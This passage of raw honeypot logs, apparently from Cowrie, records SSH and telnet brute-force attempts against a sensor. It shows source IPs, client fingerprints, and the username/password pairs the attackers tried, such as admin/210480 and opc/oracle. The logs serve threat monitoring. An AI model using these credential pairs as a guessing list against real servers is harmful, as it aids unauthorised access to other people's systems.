message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:44.389229Z","src_ip":"190.242.109.42","session":"b1c09cc3575d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:44.791647Z","src_ip":"190.242.109.42","session":"b1c09cc3575d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:44.882461Z","src_ip":"190.242.109.42","session":"70664c9ea76a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:44.887378Z","src_ip":"190.242.109.42","session":"b1c09cc3575d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":46418,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad370a9dd04b","protocol":"ssh","message":"New connection: 190.242.109.42:46418 (159.203.135.109:22) [session: ad370a9dd04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:29:48.421851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:29:48.425220Z","src_ip":"190.242.109.42","session":"ad370a9dd04b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:29:48.523380Z","src_ip":"190.242.109.42","session":"ad370a9dd04b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"benjamin","password":"test","message":"login attempt [benjamin/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:29:48.945066Z","src_ip":"190.242.109.42","session":"ad370a9dd04b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:29:50.045335Z","src_ip":"190.242.109.42","session":"ad370a9dd04b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":44426,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec771212afef","protocol":"ssh","message":"New connection: 152.244.206.148:44426 (10.17.0.5:22) [session: ec771212afef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:30:28.293708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:30:28.299115Z","src_ip":"152.244.206.148","session":"ec771212afef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:30:28.441768Z","src_ip":"152.244.206.148","session":"ec771212afef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearchpass","message":"login attempt [elasticsearch/elasticsearchpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:30:29.038777Z","src_ip":"152.244.206.148","session":"ec771212afef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:30:30.182910Z","src_ip":"152.244.206.148","session":"ec771212afef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":52426,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd590c9a1269","protocol":"ssh","message":"New connection: 152.244.206.148:52426 (10.17.0.5:22) [session: dd590c9a1269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:34:12.434466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:34:12.439097Z","src_ip":"152.244.206.148","session":"dd590c9a1269","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:34:12.575288Z","src_ip":"152.244.206.148","session":"dd590c9a1269","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"password","message":"login attempt [user1/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:34:13.153687Z","src_ip":"152.244.206.148","session":"dd590c9a1269","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:34:14.292550Z","src_ip":"152.244.206.148","session":"dd590c9a1269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":13178,"dst_ip":"159.203.135.109","dst_port":22,"session":"c472a1714c14","protocol":"ssh","message":"New connection: 2.57.121.112:13178 (159.203.135.109:22) [session: c472a1714c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:42.656020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:42.661476Z","src_ip":"2.57.121.112","session":"c472a1714c14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:42.767428Z","src_ip":"2.57.121.112","session":"c472a1714c14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210480","message":"login attempt [admin/210480] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:43.262631Z","src_ip":"2.57.121.112","session":"c472a1714c14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210393","message":"login attempt [admin/210393] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:44.371360Z","src_ip":"2.57.121.112","session":"c472a1714c14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21031971","message":"login attempt [admin/21031971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:45.480651Z","src_ip":"2.57.121.112","session":"c472a1714c14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21031966","message":"login attempt [admin/21031966] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:46.591316Z","src_ip":"2.57.121.112","session":"c472a1714c14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"210292","message":"login attempt [admin/210292] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:47.700750Z","src_ip":"2.57.121.112","session":"c472a1714c14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:48.809622Z","src_ip":"2.57.121.112","session":"c472a1714c14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":34951,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1fe6898d738","protocol":"ssh","message":"New connection: 211.178.247.182:34951 (159.203.135.109:22) [session: a1fe6898d738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:50.786008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:50.791059Z","src_ip":"211.178.247.182","session":"a1fe6898d738","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:50.973927Z","src_ip":"211.178.247.182","session":"a1fe6898d738","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"oracle","message":"login attempt [opc/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:51.737247Z","src_ip":"211.178.247.182","session":"a1fe6898d738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:35:52.924444Z","src_ip":"211.178.247.182","session":"a1fe6898d738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":42094,"dst_ip":"159.203.135.109","dst_port":22,"session":"921bdf764452","protocol":"ssh","message":"New connection: 211.178.247.182:42094 (159.203.135.109:22) [session: 921bdf764452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:36:50.752321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:36:50.756812Z","src_ip":"211.178.247.182","session":"921bdf764452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:36:50.947408Z","src_ip":"211.178.247.182","session":"921bdf764452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp-test","password":"ftp-test","message":"login attempt [ftp-test/ftp-test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:36:51.723524Z","src_ip":"211.178.247.182","session":"921bdf764452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:36:52.918996Z","src_ip":"211.178.247.182","session":"921bdf764452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.45","src_port":44578,"dst_ip":"159.203.135.109","dst_port":23,"session":"5325814c135c","protocol":"telnet","message":"New connection: 176.65.139.45:44578 (159.203.135.109:23) [session: 5325814c135c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:37:40.264280Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":27673,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a8dede57457","protocol":"ssh","message":"New connection: 211.178.247.182:27673 (159.203.135.109:22) [session: 0a8dede57457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:37:49.435164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:37:49.441155Z","src_ip":"211.178.247.182","session":"0a8dede57457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:37:49.627225Z","src_ip":"211.178.247.182","session":"0a8dede57457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser12","message":"login attempt [ftpuser/ftpuser12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:37:50.382353Z","src_ip":"211.178.247.182","session":"0a8dede57457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:37:51.574364Z","src_ip":"211.178.247.182","session":"0a8dede57457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.27111029624939,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:38:10.535260Z","src_ip":"176.65.139.45","session":"5325814c135c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":57136,"dst_ip":"159.203.135.109","dst_port":22,"session":"37646b3d1c1e","protocol":"ssh","message":"New connection: 211.178.247.182:57136 (159.203.135.109:22) [session: 37646b3d1c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:38:45.472658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:38:45.477262Z","src_ip":"211.178.247.182","session":"37646b3d1c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2